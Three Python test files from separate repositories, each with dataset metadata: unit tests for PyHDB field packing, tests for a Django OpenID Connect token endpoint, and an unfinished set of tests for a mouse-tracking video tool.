tests/parts/test_fields.py
|
peterandluc/PyHDB
|
826539d06b8bcef74fe755e7489b8a8255628f12
|
[
"Apache-2.0"
] | 332
|
2015-01-03T21:50:28.000Z
|
2021-04-28T08:37:18.000Z
|
tests/parts/test_fields.py
|
peterandluc/PyHDB
|
826539d06b8bcef74fe755e7489b8a8255628f12
|
[
"Apache-2.0"
] | 132
|
2015-01-12T10:26:09.000Z
|
2021-05-04T17:46:34.000Z
|
tests/parts/test_fields.py
|
peterandluc/PyHDB
|
826539d06b8bcef74fe755e7489b8a8255628f12
|
[
"Apache-2.0"
] | 147
|
2015-01-10T16:25:29.000Z
|
2021-04-08T08:02:20.000Z
|
# Copyright 2014, 2015 SAP SE.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http: //www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
# either express or implied. See the License for the specific
# language governing permissions and limitations under the License.
from io import BytesIO
from pyhdb.protocol.parts import Fields
def test_pack_data():
packed = Fields.pack_data(["Hello", "World"])
assert packed == \
b"\x02\x00\x05\x48\x65\x6c\x6c\x6f\x05\x57\x6f\x72\x6c\x64"
def test_unpack_data():
packed = BytesIO(
b"\x02\x00\x05\x48\x65\x6c\x6c\x6f\x05\x57\x6f\x72\x6c\x64"
)
unpacked = Fields.unpack_data(packed)
assert unpacked == [b"Hello", b"World"]
def test_pack_large_data():
packed = Fields.pack_data([
b"97f0f004be65439846e0eae3e67edacbaa6e578d1e8ba1e3d2f57e18460967d1"
b"433bd920e7e9221c4a4631f59730096f73f8df748b990c24dec2714ba8ade446"
b"28eeffe47b54447c452f1bebdc6a21e00f576daca1ec2c1f991fc3c465c7b493"
b"900e8c8bc79b772f47802d2fb7424dec7aae835c2802974802e5a4a1b79dcb63"
b"a7c18846a1171d8e2150ce804b68a7db02810a058159",
b"e7d536e3f67ce32a6e4a439880d28010df2199459b4e2836e272fba1d8597479"
b"ff76db462267029601579310a36e49b2bc34aade017f57e4d40f110abea1a1bd"
b"f4a17a1e20f28fe3751e83ffd3dc383b6e965e3a9f5d28d4378d31fa70dda065"
b"1fa09ab1fc3a817148da42b3dcbeb4264d1ec6a7385abf3b9598459b337bbf6a"
b"41fb49769e20735e5842fcb1e3ee1d19bfd2e7e249f5"
])
assert packed == \
b"\x02\x00\xFF\x2C\x01\x39\x37\x66\x30\x66\x30\x30\x34\x62\x65\x36" \
b"\x35\x34\x33\x39\x38\x34\x36\x65\x30\x65\x61\x65\x33\x65\x36\x37" \
b"\x65\x64\x61\x63\x62\x61\x61\x36\x65\x35\x37\x38\x64\x31\x65\x38" \
b"\x62\x61\x31\x65\x33\x64\x32\x66\x35\x37\x65\x31\x38\x34\x36\x30" \
b"\x39\x36\x37\x64\x31\x34\x33\x33\x62\x64\x39\x32\x30\x65\x37\x65" \
b"\x39\x32\x32\x31\x63\x34\x61\x34\x36\x33\x31\x66\x35\x39\x37\x33" \
b"\x30\x30\x39\x36\x66\x37\x33\x66\x38\x64\x66\x37\x34\x38\x62\x39" \
b"\x39\x30\x63\x32\x34\x64\x65\x63\x32\x37\x31\x34\x62\x61\x38\x61" \
b"\x64\x65\x34\x34\x36\x32\x38\x65\x65\x66\x66\x65\x34\x37\x62\x35" \
b"\x34\x34\x34\x37\x63\x34\x35\x32\x66\x31\x62\x65\x62\x64\x63\x36" \
b"\x61\x32\x31\x65\x30\x30\x66\x35\x37\x36\x64\x61\x63\x61\x31\x65" \
b"\x63\x32\x63\x31\x66\x39\x39\x31\x66\x63\x33\x63\x34\x36\x35\x63" \
b"\x37\x62\x34\x39\x33\x39\x30\x30\x65\x38\x63\x38\x62\x63\x37\x39" \
b"\x62\x37\x37\x32\x66\x34\x37\x38\x30\x32\x64\x32\x66\x62\x37\x34" \
b"\x32\x34\x64\x65\x63\x37\x61\x61\x65\x38\x33\x35\x63\x32\x38\x30" \
b"\x32\x39\x37\x34\x38\x30\x32\x65\x35\x61\x34\x61\x31\x62\x37\x39" \
b"\x64\x63\x62\x36\x33\x61\x37\x63\x31\x38\x38\x34\x36\x61\x31\x31" \
b"\x37\x31\x64\x38\x65\x32\x31\x35\x30\x63\x65\x38\x30\x34\x62\x36" \
b"\x38\x61\x37\x64\x62\x30\x32\x38\x31\x30\x61\x30\x35\x38\x31\x35" \
b"\x39\xFF\x2C\x01\x65\x37\x64\x35\x33\x36\x65\x33\x66\x36\x37\x63" \
b"\x65\x33\x32\x61\x36\x65\x34\x61\x34\x33\x39\x38\x38\x30\x64\x32" \
b"\x38\x30\x31\x30\x64\x66\x32\x31\x39\x39\x34\x35\x39\x62\x34\x65" \
b"\x32\x38\x33\x36\x65\x32\x37\x32\x66\x62\x61\x31\x64\x38\x35\x39" \
b"\x37\x34\x37\x39\x66\x66\x37\x36\x64\x62\x34\x36\x32\x32\x36\x37" \
b"\x30\x32\x39\x36\x30\x31\x35\x37\x39\x33\x31\x30\x61\x33\x36\x65" \
b"\x34\x39\x62\x32\x62\x63\x33\x34\x61\x61\x64\x65\x30\x31\x37\x66" \
b"\x35\x37\x65\x34\x64\x34\x30\x66\x31\x31\x30\x61\x62\x65\x61\x31" \
b"\x61\x31\x62\x64\x66\x34\x61\x31\x37\x61\x31\x65\x32\x30\x66\x32" \
b"\x38\x66\x65\x33\x37\x35\x31\x65\x38\x33\x66\x66\x64\x33\x64\x63" \
b"\x33\x38\x33\x62\x36\x65\x39\x36\x35\x65\x33\x61\x39\x66\x35\x64" \
b"\x32\x38\x64\x34\x33\x37\x38\x64\x33\x31\x66\x61\x37\x30\x64\x64" \
b"\x61\x30\x36\x35\x31\x66\x61\x30\x39\x61\x62\x31\x66\x63\x33\x61" \
b"\x38\x31\x37\x31\x34\x38\x64\x61\x34\x32\x62\x33\x64\x63\x62\x65" \
b"\x62\x34\x32\x36\x34\x64\x31\x65\x63\x36\x61\x37\x33\x38\x35\x61" \
b"\x62\x66\x33\x62\x39\x35\x39\x38\x34\x35\x39\x62\x33\x33\x37\x62" \
b"\x62\x66\x36\x61\x34\x31\x66\x62\x34\x39\x37\x36\x39\x65\x32\x30" \
b"\x37\x33\x35\x65\x35\x38\x34\x32\x66\x63\x62\x31\x65\x33\x65\x65" \
b"\x31\x64\x31\x39\x62\x66\x64\x32\x65\x37\x65\x32\x34\x39\x66\x35"
def test_unpack_large_data():
packed = BytesIO(
b"\x02\x00\xFF\x2C\x01\x39\x37\x66\x30\x66\x30\x30\x34\x62\x65\x36"
b"\x35\x34\x33\x39\x38\x34\x36\x65\x30\x65\x61\x65\x33\x65\x36\x37"
b"\x65\x64\x61\x63\x62\x61\x61\x36\x65\x35\x37\x38\x64\x31\x65\x38"
b"\x62\x61\x31\x65\x33\x64\x32\x66\x35\x37\x65\x31\x38\x34\x36\x30"
b"\x39\x36\x37\x64\x31\x34\x33\x33\x62\x64\x39\x32\x30\x65\x37\x65"
b"\x39\x32\x32\x31\x63\x34\x61\x34\x36\x33\x31\x66\x35\x39\x37\x33"
b"\x30\x30\x39\x36\x66\x37\x33\x66\x38\x64\x66\x37\x34\x38\x62\x39"
b"\x39\x30\x63\x32\x34\x64\x65\x63\x32\x37\x31\x34\x62\x61\x38\x61"
b"\x64\x65\x34\x34\x36\x32\x38\x65\x65\x66\x66\x65\x34\x37\x62\x35"
b"\x34\x34\x34\x37\x63\x34\x35\x32\x66\x31\x62\x65\x62\x64\x63\x36"
b"\x61\x32\x31\x65\x30\x30\x66\x35\x37\x36\x64\x61\x63\x61\x31\x65"
b"\x63\x32\x63\x31\x66\x39\x39\x31\x66\x63\x33\x63\x34\x36\x35\x63"
b"\x37\x62\x34\x39\x33\x39\x30\x30\x65\x38\x63\x38\x62\x63\x37\x39"
b"\x62\x37\x37\x32\x66\x34\x37\x38\x30\x32\x64\x32\x66\x62\x37\x34"
b"\x32\x34\x64\x65\x63\x37\x61\x61\x65\x38\x33\x35\x63\x32\x38\x30"
b"\x32\x39\x37\x34\x38\x30\x32\x65\x35\x61\x34\x61\x31\x62\x37\x39"
b"\x64\x63\x62\x36\x33\x61\x37\x63\x31\x38\x38\x34\x36\x61\x31\x31"
b"\x37\x31\x64\x38\x65\x32\x31\x35\x30\x63\x65\x38\x30\x34\x62\x36"
b"\x38\x61\x37\x64\x62\x30\x32\x38\x31\x30\x61\x30\x35\x38\x31\x35"
b"\x39\xFF\x2C\x01\x65\x37\x64\x35\x33\x36\x65\x33\x66\x36\x37\x63"
b"\x65\x33\x32\x61\x36\x65\x34\x61\x34\x33\x39\x38\x38\x30\x64\x32"
b"\x38\x30\x31\x30\x64\x66\x32\x31\x39\x39\x34\x35\x39\x62\x34\x65"
b"\x32\x38\x33\x36\x65\x32\x37\x32\x66\x62\x61\x31\x64\x38\x35\x39"
b"\x37\x34\x37\x39\x66\x66\x37\x36\x64\x62\x34\x36\x32\x32\x36\x37"
b"\x30\x32\x39\x36\x30\x31\x35\x37\x39\x33\x31\x30\x61\x33\x36\x65"
b"\x34\x39\x62\x32\x62\x63\x33\x34\x61\x61\x64\x65\x30\x31\x37\x66"
b"\x35\x37\x65\x34\x64\x34\x30\x66\x31\x31\x30\x61\x62\x65\x61\x31"
b"\x61\x31\x62\x64\x66\x34\x61\x31\x37\x61\x31\x65\x32\x30\x66\x32"
b"\x38\x66\x65\x33\x37\x35\x31\x65\x38\x33\x66\x66\x64\x33\x64\x63"
b"\x33\x38\x33\x62\x36\x65\x39\x36\x35\x65\x33\x61\x39\x66\x35\x64"
b"\x32\x38\x64\x34\x33\x37\x38\x64\x33\x31\x66\x61\x37\x30\x64\x64"
b"\x61\x30\x36\x35\x31\x66\x61\x30\x39\x61\x62\x31\x66\x63\x33\x61"
b"\x38\x31\x37\x31\x34\x38\x64\x61\x34\x32\x62\x33\x64\x63\x62\x65"
b"\x62\x34\x32\x36\x34\x64\x31\x65\x63\x36\x61\x37\x33\x38\x35\x61"
b"\x62\x66\x33\x62\x39\x35\x39\x38\x34\x35\x39\x62\x33\x33\x37\x62"
b"\x62\x66\x36\x61\x34\x31\x66\x62\x34\x39\x37\x36\x39\x65\x32\x30"
b"\x37\x33\x35\x65\x35\x38\x34\x32\x66\x63\x62\x31\x65\x33\x65\x65"
b"\x31\x64\x31\x39\x62\x66\x64\x32\x65\x37\x65\x32\x34\x39\x66\x35"
)
unpacked = Fields.unpack_data(packed)
assert unpacked == [
b"97f0f004be65439846e0eae3e67edacbaa6e578d1e8ba1e3d2f57e18460967d1"
b"433bd920e7e9221c4a4631f59730096f73f8df748b990c24dec2714ba8ade446"
b"28eeffe47b54447c452f1bebdc6a21e00f576daca1ec2c1f991fc3c465c7b493"
b"900e8c8bc79b772f47802d2fb7424dec7aae835c2802974802e5a4a1b79dcb63"
b"a7c18846a1171d8e2150ce804b68a7db02810a058159",
b"e7d536e3f67ce32a6e4a439880d28010df2199459b4e2836e272fba1d8597479"
b"ff76db462267029601579310a36e49b2bc34aade017f57e4d40f110abea1a1bd"
b"f4a17a1e20f28fe3751e83ffd3dc383b6e965e3a9f5d28d4378d31fa70dda065"
b"1fa09ab1fc3a817148da42b3dcbeb4264d1ec6a7385abf3b9598459b337bbf6a"
b"41fb49769e20735e5842fcb1e3ee1d19bfd2e7e249f5"
]
| 60.48227
| 77
| 0.681168
| 1,517
| 8,528
| 3.82004
| 0.079763
| 0.018637
| 0.009318
| 0.008283
| 0.901639
| 0.889215
| 0.883348
| 0.883348
| 0.86799
| 0.86799
| 0
| 0.436747
| 0.133326
| 8,528
| 140
| 78
| 60.914286
| 0.347314
| 0.064142
| 0
| 0.254237
| 0
| 0.661017
| 0.777708
| 0.775198
| 0
| 1
| 0
| 0
| 0.033898
| 1
| 0.033898
| false
| 0
| 0.016949
| 0
| 0.050847
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 12
|
693b0f509dd0e74f7dd840dc4ca06787cab964ad
| 15,421
|
py
|
Python
|
tests/openid_op_tests/test_token_request.py
|
rerobins/django-openid-op
|
96952a6d413718d0ed4c656265248b6f0d0c2e4e
|
[
"MIT"
] | 2
|
2020-02-15T20:20:36.000Z
|
2020-05-12T02:39:42.000Z
|
tests/openid_op_tests/test_token_request.py
|
rerobins/django-openid-op
|
96952a6d413718d0ed4c656265248b6f0d0c2e4e
|
[
"MIT"
] | 3
|
2021-11-24T21:28:52.000Z
|
2021-11-24T23:07:57.000Z
|
tests/openid_op_tests/test_token_request.py
|
rerobins/django-openid-op
|
96952a6d413718d0ed4c656265248b6f0d0c2e4e
|
[
"MIT"
] | 2
|
2019-11-25T07:40:28.000Z
|
2021-11-29T16:06:59.000Z
|
import base64
import hashlib
import json
from urllib.parse import urlencode, splitquery, parse_qs
import pytest
import time
from django.contrib.auth.models import User
from django.core.management import call_command
from openid_connect_op.models import OpenIDClient, OpenIDToken
from openid_connect_op.utils.jwt import JWTTools
BASIC_AUTH = 'Basic ' + base64.b64encode('test:b'.encode('utf-8')).decode('ascii')
@pytest.mark.django_db
class TestTokenRequest:
@pytest.fixture(autouse=True)
def init_jwk(self):
call_command('create_jwt_keys')
@pytest.fixture
def user(self):
return User.objects.create(username='a')
@pytest.fixture()
def client_config(self):
redirect_uri = 'http://localhost:8000/complete/test/?state=1234'
ret = OpenIDClient.objects.create(
client_id='test',
redirect_uris=redirect_uri,
client_auth_type=OpenIDClient.CLIENT_AUTH_TYPE_BASIC,
)
ret.set_client_secret('b')
ret.save()
return ret
@pytest.fixture()
def client_config_pairwise(self):
redirect_uri = 'http://localhost:8000/complete/test/?state=1234'
ret = OpenIDClient.objects.create(
client_id='test',
redirect_uris=redirect_uri,
client_auth_type=OpenIDClient.CLIENT_AUTH_TYPE_BASIC,
sub_hash='aaa'
)
ret.set_client_secret('b')
ret.save()
return ret
def test_logged_user(self, client, client_config, user, settings):
code = self.get_authorization_code(client, client_config, user)
resp = client.get('/openid/token?' + urlencode({
'redirect_uri': client_config.redirect_uris,
'grant_type': 'authorization_code',
'code': code,
}), HTTP_AUTHORIZATION=BASIC_AUTH)
self.check_token_response(settings, client_config, resp)
def test_double_authorization_code_for_user(self, client, client_config, user, settings):
code = self.get_authorization_code(client, client_config, user)
resp = client.get('/openid/token?' + urlencode({
'redirect_uri': client_config.redirect_uris,
'grant_type': 'authorization_code',
'code': code,
}), HTTP_AUTHORIZATION=BASIC_AUTH)
self.check_token_response(settings, client_config, resp)
resp = client.get('/openid/token?' + urlencode({
'redirect_uri': client_config.redirect_uris,
'grant_type': 'authorization_code',
'code': code,
}), HTTP_AUTHORIZATION=BASIC_AUTH)
assert resp.status_code == 403
data = json.loads(resp.content.decode('utf-8'))
assert data == {'error': 'unauthorized_client',
'error_description': 'Authorization token not found'}
def test_logged_user_post(self, client, client_config, user, settings):
# set auth type to POST
client_config.client_auth_type = client_config.CLIENT_AUTH_TYPE_POST
client_config.save()
code = self.get_authorization_code(client, client_config, user)
resp = client.post('/openid/token', {
'redirect_uri': client_config.redirect_uris,
'grant_type': 'authorization_code',
'code': code,
'client_id': 'test',
'client_secret': 'b'
})
self.check_token_response(settings, client_config, resp)
def test_logged_user_pairwise(self, client, client_config_pairwise, user, settings):
code = self.get_authorization_code(client, client_config_pairwise, user)
resp = client.get('/openid/token?' + urlencode({
'redirect_uri': client_config_pairwise.redirect_uris,
'grant_type': 'authorization_code',
'code': code,
}), HTTP_AUTHORIZATION=BASIC_AUTH)
self.check_token_response(
settings, client_config_pairwise, resp,
sub=hashlib.sha256((user.username + client_config_pairwise.sub_hash).encode('utf-8')).hexdigest())
@staticmethod
def check_token_response(settings, client_config, resp, sub='a'):
assert resp.status_code == 200
data = json.loads(resp.content.decode('utf-8'))
assert 'access_token' in data
assert data['token_type'] == 'Bearer'
assert 'refresh_token' in data
assert data['expires_in'] == settings.OPENID_DEFAULT_ACCESS_TOKEN_TTL
assert 'id_token' in data
database_at = OpenIDToken.objects.get(token_hash=OpenIDToken.get_token_hash(data['access_token']))
assert database_at.user.username == 'a'
assert database_at.client == client_config
assert database_at.token_type == OpenIDToken.TOKEN_TYPE_ACCESS_BEARER_TOKEN
database_rt = OpenIDToken.objects.get(token_hash=OpenIDToken.get_token_hash(data['refresh_token']))
assert database_rt.user.username == 'a'
assert database_rt.client == client_config
assert database_rt.token_type == OpenIDToken.TOKEN_TYPE_REFRESH_TOKEN
# validate id token
header, payload = JWTTools.validate_jwt(data['id_token'])
assert header['alg'] == 'RS256'
assert header['typ'] == 'JWT'
assert payload['exp'] == int(payload['exp'])
assert payload['iat'] == int(payload['iat'])
assert payload['aud'] == ['test']
assert payload['sub'] == sub # username
assert payload['iss'] == 'http://testserver/'
@staticmethod
def get_authorization_code(client, client_config, user):
client.force_login(user)
resp = client.get('/openid/authorize?' + urlencode({
'redirect_uri': client_config.redirect_uris,
'client_id': 'test',
'scope': 'openid',
'response_type': 'code'
}))
assert resp.status_code == 302
redirect_server, redirect_query = splitquery(resp.url)
assert redirect_server == 'http://localhost:8000/complete/test/'
redirect_query = parse_qs(redirect_query)
assert redirect_query['state'] == ['1234']
assert 'code' in redirect_query
code = redirect_query['code'][0]
return code
def test_bad_redirect_uri(self, client, client_config, user):
code = self.get_authorization_code(client, client_config, user)
resp = client.get('/openid/token?' + urlencode({
'redirect_url': 'http://blah',
'grant_type': 'authorization_code',
'code': code,
}), HTTP_AUTHORIZATION=BASIC_AUTH)
assert resp.status_code == 400
data = json.loads(resp.content.decode('utf-8'))
assert data == {'error': 'invalid_request',
'error_description': 'redirect_uri does not match the one used in /authorize endpoint'}
def test_no_grant_type(self, client, client_config, user):
code = self.get_authorization_code(client, client_config, user)
resp = client.get('/openid/token?' + urlencode({
'redirect_url': 'http://blah',
'code': code,
}), HTTP_AUTHORIZATION=BASIC_AUTH)
assert resp.status_code == 400
data = json.loads(resp.content.decode('utf-8'))
assert data == {'error': 'invalid_request',
'error_description': 'Required parameter with name "grant_type" is not present'}
def test_bad_grant_type(self, client, client_config, user):
code = self.get_authorization_code(client, client_config, user)
resp = client.get('/openid/token?' + urlencode({
'redirect_url': 'http://blah',
'grant_type': 'bad',
'code': code,
}), HTTP_AUTHORIZATION=BASIC_AUTH)
assert resp.status_code == 400
data = json.loads(resp.content.decode('utf-8'))
assert data == {'error': 'invalid_request',
'error_description': 'Value "bad" is not allowed for parameter grant_type. '
'Allowed values are "authorization_code", '
'"http://oauth.net/grant_type/chain", "refresh_token"'}
def test_bad_code(self, client, client_config, user):
self.get_authorization_code(client, client_config, user)
resp = client.get('/openid/token?' + urlencode({
'redirect_url': 'http://blah',
'grant_type': 'authorization_code',
'code': '1234',
}), HTTP_AUTHORIZATION=BASIC_AUTH)
assert resp.status_code == 403
data = json.loads(resp.content.decode('utf-8'))
assert data == {'error': 'unauthorized_client',
'error_description': 'Authorization token not found'}
def test_no_code(self, client, client_config, user):
self.get_authorization_code(client, client_config, user)
resp = client.get('/openid/token?' + urlencode({
'redirect_url': 'http://blah',
'grant_type': 'authorization_code',
}),
HTTP_AUTHORIZATION=BASIC_AUTH)
assert resp.status_code == 400
data = json.loads(resp.content.decode('utf-8'))
assert data == {'error': 'invalid_request',
'error_description': 'Required parameter with name "code" is not present'}
def test_ok_refresh_user(self, client, client_config, user, settings):
code = self.get_authorization_code(client, client_config, user)
resp = client.get('/openid/token?' + urlencode({
'redirect_uri': client_config.redirect_uris,
'grant_type': 'authorization_code',
'code': code,
}), HTTP_AUTHORIZATION=BASIC_AUTH)
data = json.loads(resp.content.decode('utf-8'))
refresh_token = data['refresh_token']
resp = client.get('/openid/token?' + urlencode({
'grant_type': 'refresh_token',
'refresh_token': refresh_token,
}), HTTP_AUTHORIZATION=BASIC_AUTH)
self.check_token_response(settings, client_config, resp)
def test_refresh_no_token(self, client, client_config, user):
code = self.get_authorization_code(client, client_config, user)
resp = client.get('/openid/token?' + urlencode({
'redirect_uri': client_config.redirect_uris,
'grant_type': 'authorization_code',
'code': code,
}), HTTP_AUTHORIZATION=BASIC_AUTH)
data = json.loads(resp.content.decode('utf-8'))
assert data['refresh_token'] is not None
resp = client.get('/openid/token?' + urlencode({
'grant_type': 'refresh_token',
}), HTTP_AUTHORIZATION=BASIC_AUTH)
assert resp.status_code == 400
data = json.loads(resp.content.decode('utf-8'))
assert data == {
'error': 'invalid_request',
'error_description': 'Required parameter with name "refresh_token" is not present'
}
def test_refresh_expired_token(self, client, client_config, user, settings):
settings.OPENID_DEFAULT_ACCESS_TOKEN_TTL = 2
settings.OPENID_DEFAULT_REFRESH_TOKEN_TTL = 4
code = self.get_authorization_code(client, client_config, user)
resp = client.get('/openid/token?' + urlencode({
'redirect_uri': client_config.redirect_uris,
'grant_type': 'authorization_code',
'code': code,
}), HTTP_AUTHORIZATION=BASIC_AUTH)
data = json.loads(resp.content.decode('utf-8'))
refresh_token = data['refresh_token']
time.sleep(settings.OPENID_DEFAULT_REFRESH_TOKEN_TTL + 1)
resp = client.get('/openid/token?' + urlencode({
'grant_type': 'refresh_token',
'refresh_token': refresh_token,
}), HTTP_AUTHORIZATION=BASIC_AUTH)
assert resp.status_code == 400
data = json.loads(resp.content.decode('utf-8'))
assert data == {
'error': 'invalid_grant',
'error_description': 'Refresh token expired'
}
@pytest.mark.django_db
class TestTokenWithUserinfoRequest:
@pytest.fixture(autouse=True)
def init_jwk(self):
call_command('create_jwt_keys')
@pytest.fixture
def user(self):
return User.objects.create(username='a', first_name='A', last_name='B', email='a@b.com')
@pytest.fixture()
def client_config(self):
redirect_uri = 'http://localhost:8000/complete/test/?state=1234'
ret = OpenIDClient.objects.create(
client_id='test',
redirect_uris=redirect_uri,
client_auth_type=OpenIDClient.CLIENT_AUTH_TYPE_BASIC,
userinfo_in_id_token=True
)
ret.set_client_secret('b')
ret.save()
return ret
def test_logged_user(self, client, client_config, user, settings):
code = self.get_authorization_code(client, client_config, user)
resp = client.get('/openid/token?' + urlencode({
'redirect_uri': client_config.redirect_uris,
'grant_type': 'authorization_code',
'code': code,
}), HTTP_AUTHORIZATION=BASIC_AUTH)
self.check_token_response(settings, client_config, resp)
@staticmethod
def check_token_response(settings, client_config, resp, sub='a'):
assert resp.status_code == 200
data = json.loads(resp.content.decode('utf-8'))
assert 'access_token' in data
assert data['token_type'] == 'Bearer'
assert 'refresh_token' in data
assert data['expires_in'] == settings.OPENID_DEFAULT_ACCESS_TOKEN_TTL
assert 'id_token' in data
database_at = OpenIDToken.objects.get(token_hash=OpenIDToken.get_token_hash(data['access_token']))
assert database_at.user.username == 'a'
assert database_at.client == client_config
assert database_at.token_type == OpenIDToken.TOKEN_TYPE_ACCESS_BEARER_TOKEN
database_rt = OpenIDToken.objects.get(token_hash=OpenIDToken.get_token_hash(data['refresh_token']))
assert database_rt.user.username == 'a'
assert database_rt.client == client_config
assert database_rt.token_type == OpenIDToken.TOKEN_TYPE_REFRESH_TOKEN
# validate id token
header, payload = JWTTools.validate_jwt(data['id_token'])
assert header['alg'] == 'RS256'
assert header['typ'] == 'JWT'
assert payload['exp'] == int(payload['exp'])
assert payload['iat'] == int(payload['iat'])
assert payload['aud'] == ['test']
assert payload['sub'] == sub # username
assert payload['iss'] == 'http://testserver/'
assert payload['email'] == 'a@b.com'
assert payload['family_name'] == 'B'
assert payload['given_name'] == 'A'
@staticmethod
def get_authorization_code(client, client_config, user):
client.force_login(user)
resp = client.get('/openid/authorize?' + urlencode({
'redirect_uri': client_config.redirect_uris,
'client_id': 'test',
'scope': 'openid',
'response_type': 'code'
}))
assert resp.status_code == 302
redirect_server, redirect_query = splitquery(resp.url)
assert redirect_server == 'http://localhost:8000/complete/test/'
redirect_query = parse_qs(redirect_query)
assert redirect_query['state'] == ['1234']
assert 'code' in redirect_query
code = redirect_query['code'][0]
return code
| 42.365385
| 111
| 0.634135
| 1,751
| 15,421
| 5.324957
| 0.100514
| 0.074646
| 0.061776
| 0.061347
| 0.882776
| 0.859502
| 0.839661
| 0.839661
| 0.839661
| 0.835907
| 0
| 0.009898
| 0.246612
| 15,421
| 363
| 112
| 42.482094
| 0.792649
| 0.004864
| 0
| 0.792994
| 0
| 0
| 0.173403
| 0.001369
| 0
| 0
| 0
| 0
| 0.210191
| 1
| 0.076433
| false
| 0
| 0.031847
| 0.006369
| 0.136943
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
69492adcf543c28fc282063faa3f33fb06297827
| 15,442
|
py
|
Python
|
mouse_detection/test_detect_mouse.py
|
aiporre/mouse_position_tracking
|
446614ddb8ec1aab54dc8d21d44b16519d6c2427
|
[
"MIT"
] | null | null | null |
mouse_detection/test_detect_mouse.py
|
aiporre/mouse_position_tracking
|
446614ddb8ec1aab54dc8d21d44b16519d6c2427
|
[
"MIT"
] | null | null | null |
mouse_detection/test_detect_mouse.py
|
aiporre/mouse_position_tracking
|
446614ddb8ec1aab54dc8d21d44b16519d6c2427
|
[
"MIT"
] | null | null | null |
from unittest import TestCase
from mouse_detection.detect_mouse import MouseVideo
import matplotlib.pyplot as plt
import random
import os
from pathlib import Path
class TestMouseVideo(TestCase):
def setUp(self) -> None:
self.test_video_mock_up = 'resources/mouse_short_converted_mac.mov'
if not os.path.exists(self.test_video_mock_up):
self.test_video_mock_up = str(Path(os.path.join("..", self.test_video_mock_up)).resolve())
print('path exists: ', os.path.exists(self.test_video_mock_up))
self.mouse_video = MouseVideo(self.test_video_mock_up, bkg_method='TH')
def test_detect_mouse(self):
# index =96
def gen():
return random.randint(0, self.mouse_video.num_frames - 1)
indices = [gen() for i in range(10)]
for index in indices: # range(self.mouse_video.num_frames):
frame, roi = self.mouse_video.detect_mouse(index, plot=True)
plt.imshow(frame)
plt.title(f'this is the frame from the index {index} and roi{roi}')
plt.show()
def test_detect_mouse_and_crop(self):
# index =96
def gen():
return random.randint(0, self.mouse_video.num_frames - 1)
indices = [gen() for i in range(10)]
for index in indices: # range(self.mouse_video.num_frames):
frame, roi = self.mouse_video.detect_mouse(index, plot=True, crop=True)
plt.imshow(frame)
plt.title(f'this is the frame from the index {index}')
plt.show()
def test_detect_mouse_and_crop_with_HOG(self):
# index =96
mouse_video_mog = MouseVideo(self.test_video_mock_up, bkg_method='MOG')
def gen():
return random.randint(0, self.mouse_video.num_frames - 1)
indices = [gen() for i in range(10)]
for index in indices: # range(self.mouse_video.num_frames):
try:
frame, roi = mouse_video_mog.detect_mouse(index, plot=True, crop=True)
plt.imshow(frame)
plt.title(f'this is the frame from the index {index}')
plt.show()
except ValueError as e:
print('EROR TEST MOUSE AND CROP WITH HOG = ', e)
pass
def test_get_no_background(self):
method = self.mouse_video._bkg_method
self.mouse_video._bkg_method = 'MOG'
self.mouse_video.frames_no_bkg = None
index = 10
frame = self.mouse_video.frames_no_bkg[index]
plt.imshow(frame)
plt.title(f'this is the frame from the index {index}')
plt.show()
self.mouse_video._bkg_method = method
self.mouse_video.frames_no_bkg = None
def test_get_no_background_TH(self):
method = self.mouse_video._bkg_method
self.mouse_video._bkg_method = 'TH'
self.mouse_video.frames_no_bkg = None
def gen():
return random.randint(0, self.mouse_video.num_frames-1)
indices = [gen() for i in range(10)]
for index in indices: # range(self.mouse_video.num_frames):
frame = self.mouse_video.frames_no_bkg[index]
plt.imshow(frame)
plt.title(f'this is the frame from the index {index}')
plt.show()
self.mouse_video._bkg_method = method
self.mouse_video.frames_no_bkg = None
def test_remove_darkchannel(self):
blackchannel_imgs = self.mouse_video.remove_darkchannel()
def gen():
return random.randint(0, self.mouse_video.num_frames-1)
indices = [gen() for i in range(10)]
for index in indices: # range(self.mouse_video.num_frames):
frame = blackchannel_imgs[index] # self.mouse_video.frames_no_bkg[index]
plt.imshow(frame)
plt.title(f'this is the frame from the index {index}')
plt.show()
def test_track_mouse(self):
coords = self.mouse_video.track_mouse()
print(coords)
plt.plot(coords)
plt.show()
def test_track_mouse_MOG(self):
mouse_video_mog = MouseVideo(self.test_video_mock_up, bkg_method='MOG')
coords = mouse_video_mog.track_mouse()
print(coords)
plt.plot(coords)
plt.show()
def test_track_mouse_MOG_plotting(self):
method = 'TH'
mouse_video_mog = MouseVideo(self.test_video_mock_up, bkg_method='MOG')
coords = mouse_video_mog.track_mouse()
def gen():
return random.randint(0, self.mouse_video.num_frames-1)
indices = [gen() for i in range(10)]
for index in indices: # range(self.mouse_video.num_frames):
cX, cY = coords[index]
frame, roi =mouse_video_mog.calculate_roi(index, cX, cY, plot=True)
plt.imshow(frame)
plt.title(f'this is the frame from the index {index} \n method MOG and roi {roi}')
plt.show()
self.mouse_video._bkg_method = method
self.mouse_video.frames_no_bkg = None
def test_track_mouse_TH_plotting(self):
method = 'TH'
coords = self.mouse_video.track_mouse()
def gen():
return random.randint(0, self.mouse_video.num_frames-1)
indices = [gen() for i in range(10)]
for index in [94]: # range(self.mouse_video.num_frames):
cX, cY = coords[index]
print('x an y', cX, ', ', cY)
frame, roi =self.mouse_video.calculate_roi(index, cX, cY, plot=True)
plt.imshow(frame)
plt.title(f'this is the frame from the index {index} \n method MOG and roi {roi}')
plt.show()
self.mouse_video._bkg_method = method
self.mouse_video.frames_no_bkg = None
def test_track_mouse_MOG_plotting_crop(self):
method = 'TH'
